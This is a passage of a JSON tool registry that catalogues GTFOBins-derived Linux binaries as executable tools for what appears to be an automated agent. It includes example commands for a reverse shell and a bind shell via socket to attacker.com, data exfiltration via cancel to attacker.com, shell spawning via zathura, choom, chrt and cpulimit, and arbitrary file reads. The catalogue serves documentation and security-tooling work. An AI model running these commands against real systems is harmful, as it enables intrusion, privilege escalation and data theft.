    "name": "logsave",
    "namespace": "system:log:logsave",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/logsave/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "logrotate.md",
    "allowed-tools": [
      "logrotate",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Log rotation utility, can execute commands via crafted config files.",
    "examples": [
      {
        "description": "Execute command via logrotate",
        "command": "logrotate -f /path/to/config"
      }
    ],
    "execution": {
      "template": "logrotate -f /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-log-rotate",
    "install": [
      {
        "method": "apt",
        "package_name": "logrotate",
        "commands": [
          "apt-get install -y logrotate"
        ]
      }
    ],
    "name": "logrotate",
    "namespace": "system:log:rotate",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/logrotate/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rsyslogd.md",
    "allowed-tools": [
      "rsyslogd",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "System logging daemon, can execute commands via config.",
    "examples": [
      {
        "description": "Execute command via rsyslogd",
        "command": "rsyslogd -f /path/to/config"
      }
    ],
    "execution": {
      "template": "rsyslogd -f /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-log-rsyslogd",
    "install": [
      {
        "method": "apt",
        "package_name": "rsyslog",
        "commands": [
          "apt-get install -y rsyslog"
        ]
      }
    ],
    "name": "rsyslogd",
    "namespace": "system:log:rsyslogd",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rsyslogd/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "run-mailcap.md",
    "allowed-tools": [
      "run-mailcap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run program via mailcap entries, can execute commands.",
    "examples": [
      {
        "description": "Execute command via run-mailcap",
        "command": "run-mailcap /path/to/file"
      }
    ],
    "execution": {
      "template": "run-mailcap /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-mime-run-mailcap",
    "install": [
      {
        "method": "apt",
        "package_name": "mime-support",
        "commands": [
          "apt-get install -y mime-support"
        ]
      }
    ],
    "name": "run-mailcap",
    "namespace": "system:mime:run-mailcap",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/run-mailcap/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dstat.md",
    "allowed-tools": [
      "dstat",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Python code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "System resource statistics tool, can execute Python code via external plugins.",
    "examples": [
      {
        "description": "Execute Python code via dstat plugin",
        "command": "dstat --xxx"
      }
    ],
    "execution": {
      "template": "dstat --xxx",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-monitor-dstat",
    "install": [
      {
        "method": "apt",
        "package_name": "dstat",
        "commands": [
          "apt-get install -y dstat"
        ]
      }
    ],
    "name": "dstat",
    "namespace": "system:monitor:dstat",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dstat/"
      }
    ],
    "related_tools": [
      "python"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pidstat.md",
    "allowed-tools": [
      "pidstat",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Process monitoring tool, can execute commands.",
    "examples": [
      {
        "description": "Execute command via pidstat",
        "command": "pidstat /path/to/command"
      }
    ],
    "execution": {
      "template": "pidstat /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-monitor-pidstat",
    "install": [
      {
        "method": "apt",
        "package_name": "sysstat",
        "commands": [
          "apt-get install -y sysstat"
        ]
      }
    ],
    "name": "pidstat",
    "namespace": "system:monitor:pidstat",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pidstat/"
      }
    ],
    "related_tools": [
      "iostat",
      "mpstat"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# wall\n\nwall is a command-line utility. Send messages to all logged-in users; can also read arbitrary files.\n",
    "_source": "wall.md",
    "allowed-tools": [
      "wall"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Send messages to all logged-in users; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo)",
        "command": "wall --nobanner /path/to/input-file"
      }
    ],
    "execution": {
      "template": "wall",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-msg-wall",
    "install": [
      {
        "method": "apt",
        "package_name": "bsdmainutils",
        "commands": [
          "apt-get install -y bsdmainutils"
        ]
      }
    ],
    "name": "wall",
    "namespace": "system:msg:wall",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/wall/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# socket\n\nsocket is a command-line utility. Create TCP/UDP sockets for data transfer; can also bind a shell to a port, send a reverse shell.\n",
    "_source": "socket.md",
    "allowed-tools": [
      "socket"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.bind-shell",
      "security.execution.reverse-shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Create TCP/UDP communication endpoints; can transfer data and spawn shells.",
    "examples": [
      {
        "description": "Bind a shell to a port (sudo, suid, unprivileged)",
        "command": "socket -svp '/bin/sh -i' 12345"
      },
      {
        "description": "Send a reverse shell (sudo, suid, unprivileged)",
        "command": "socket -qvp '/bin/sh -i' attacker.com 12345"
      }
    ],
    "execution": {
      "template": "socket",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-network-socket",
    "install": [
      {
        "method": "apt",
        "package_name": "socket",
        "commands": [
          "apt-get install -y socket"
        ]
      }
    ],
    "name": "socket",
    "namespace": "system:network:socket",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/socket/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "command-and-control",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xpad\n\nxpad is a command-line utility. Sticky note application for X11; can also read arbitrary files.\n",
    "_source": "xpad.md",
    "allowed-tools": [
      "xpad"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Sticky note application for X11; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "xpad -f /path/to/input-file"
      }
    ],
    "execution": {
      "template": "xpad",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "system-notes-xpad",
    "install": [
      {
        "method": "apt",
        "package_name": "xpad",
        "commands": [
          "apt-get install -y xpad"
        ]
      }
    ],
    "name": "xpad",
    "namespace": "system:notes:xpad",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/xpad/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "needrestart.md",
    "allowed-tools": [
      "needrestart",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Check for processes needing restart after updates, can execute commands.",
    "examples": [
      {
        "description": "Execute command via needrestart",
        "command": "needrestart -r /path/to/hook"
      }
    ],
    "execution": {
      "template": "needrestart -r /path/to/hook",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-package-needrestart",
    "install": [
      {
        "method": "apt",
        "package_name": "needrestart",
        "commands": [
          "apt-get install -y needrestart"
        ]
      }
    ],
    "name": "needrestart",
    "namespace": "system:package:needrestart",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/needrestart/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# zathura\n\nzathura is a command-line utility. Minimalistic PDF and document viewer; can also spawn an interactive shell.\n",
    "_source": "zathura.md",
    "allowed-tools": [
      "zathura"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Minimalistic PDF/document viewer; can read arbitrary files.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "zathura\n:! /bin/sh -c 'exec /bin/sh 0<&1'"
      }
    ],
    "execution": {
      "template": "zathura",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdout",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-pdf-zathura",
    "install": [
      {
        "method": "apt",
        "package_name": "zathura",
        "commands": [
          "apt-get install -y zathura"
        ]
      }
    ],
    "name": "zathura",
    "namespace": "system:pdf:zathura",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zathura/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n",
    "_source": "cancel.md",
    "allowed-tools": [
      "cancel",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Cancel CUPS print jobs, can exfiltrate data via HTTP POST requests.",
    "examples": [
      {
        "description": "Exfiltrate data via cancel HTTP POST",
        "command": "cancel -h attacker.com:12345 -u DATA"
      }
    ],
    "execution": {
      "template": "cancel -h {dest} -u {data}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-print-cancel",
    "install": [
      {
        "method": "apt",
        "package_name": "cups-client",
        "commands": [
          "apt-get install -y cups-client"
        ]
      }
    ],
    "name": "cancel",
    "namespace": "system:print:cancel",
    "parameters": [
      {
        "name": "dest",
        "type": "string",
        "required": false,
        "description": "Destination host and port"
      },
      {
        "name": "data",
        "type": "string",
        "required": false,
        "description": "Data to upload"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cancel/"
      }
    ],
    "related_tools": [
      "lp"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [],
      "consumes": []
    }
  },
  {
    "_body": "\n\n",
    "_source": "cupsfilter.md",
    "allowed-tools": [
      "cupsfilter",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "CUPS filter/converter, can read files via format conversion.",
    "examples": [
      {
        "description": "Read a file via cupsfilter",
        "command": "cupsfilter -i application/octet-stream -m application/octet-stream /path/to/input-file"
      }
    ],
    "execution": {
      "template": "cupsfilter -i application/octet-stream -m application/octet-stream {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-print-cupsfilter",
    "install": [
      {
        "method": "apt",
        "package_name": "cups",
        "commands": [
          "apt-get install -y cups"
        ]
      }
    ],
    "name": "cupsfilter",
    "namespace": "system:print:cupsfilter",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cupsfilter/"
      }
    ],
    "related_tools": [
      "cancel",
      "lp"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lp.md",
    "allowed-tools": [
      "lp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Print files, can read and write files.",
    "examples": [
      {
        "description": "Read a file via lp",
        "command": "lp -d /path/to/output /path/to/input"
      }
    ],
    "execution": {
      "template": "lp -d /path/to/output /path/to/input",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-print-lp",
    "install": [
      {
        "method": "apt",
        "package_name": "cups",
        "commands": [
          "apt-get install -y cups"
        ]
      }
    ],
    "name": "lp",
    "namespace": "system:print:lp",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lp/"
      }
    ],
    "related_tools": [
      "cancel",
      "lpstat"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "choom.md",
    "allowed-tools": [
      "choom",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Display and adjust OOM killer score, can spawn a shell via -n flag.",
    "examples": [
      {
        "description": "Spawn a shell via choom",
        "command": "choom -n 0 /bin/sh"
      }
    ],
    "execution": {
      "template": "choom -n 0 /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-process-choom",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "choom",
    "namespace": "system:process:choom",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/choom/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "chrt.md",
    "allowed-tools": [
      "chrt",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Manipulate real-time attributes of a process, can spawn a shell via chrt.",
    "examples": [
      {
        "description": "Spawn a shell via chrt",
        "command": "chrt 1 /bin/sh"
      }
    ],
    "execution": {
      "template": "chrt 1 /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-process-chrt",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "chrt",
    "namespace": "system:process:chrt",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/chrt/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "cpulimit.md",
    "allowed-tools": [
      "cpulimit",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Limit CPU usage of a process, can spawn a shell via cpulimit.",
    "examples": [
      {
        "description": "Spawn a shell via cpulimit",
        "command": "cpulimit -l 100 -f -- /bin/sh"
      }
    ],
    "execution": {
      "template": "cpulimit -l 100 -f -- /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-process-cpulimit",
    "install": [
      {
        "method": "apt",
        "package_name": "cpulimit",
        "commands": [
          "apt-get install -y cpulimit"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "cpulimit",
    "namespace": "system:process:cpulimit",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cpulimit/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# free — Display amount of free and used memory\n\n## Overview\n\n`free` is a command-line utility for display amount of free and used memory.\n\n## Usage\n\n```\nfree -b {bytes} --kilo {kilo} --mega {mega} --giga {giga} --tera {tera}\n```\n",
    "_source": "free.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.process.free",
      "system.process.list",
      "system.process.signal",
      "system.process.monitor"
    ],
    "description": "Display amount of free and used memory",
    "examples": [
      {
        "description": "Basic usage with bytes",
        "command": "free ${bytes}"
      },
      {
        "description": "Display help message",
        "command": "free --help"
      }
    ],
    "execution": {
      "template": "free -b {bytes} --kilo {kilo} --mega {mega} --giga {giga} --tera {tera}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "process-manip"
    ],
    "id": "system-process-free",
    "install": [
      {
        "method": "apt",
        "package_name": "procps",
        "commands": [
          "apt-get install -y procps"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "free",
    "namespace": "system:process:free",
    "parameters": [
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "string",
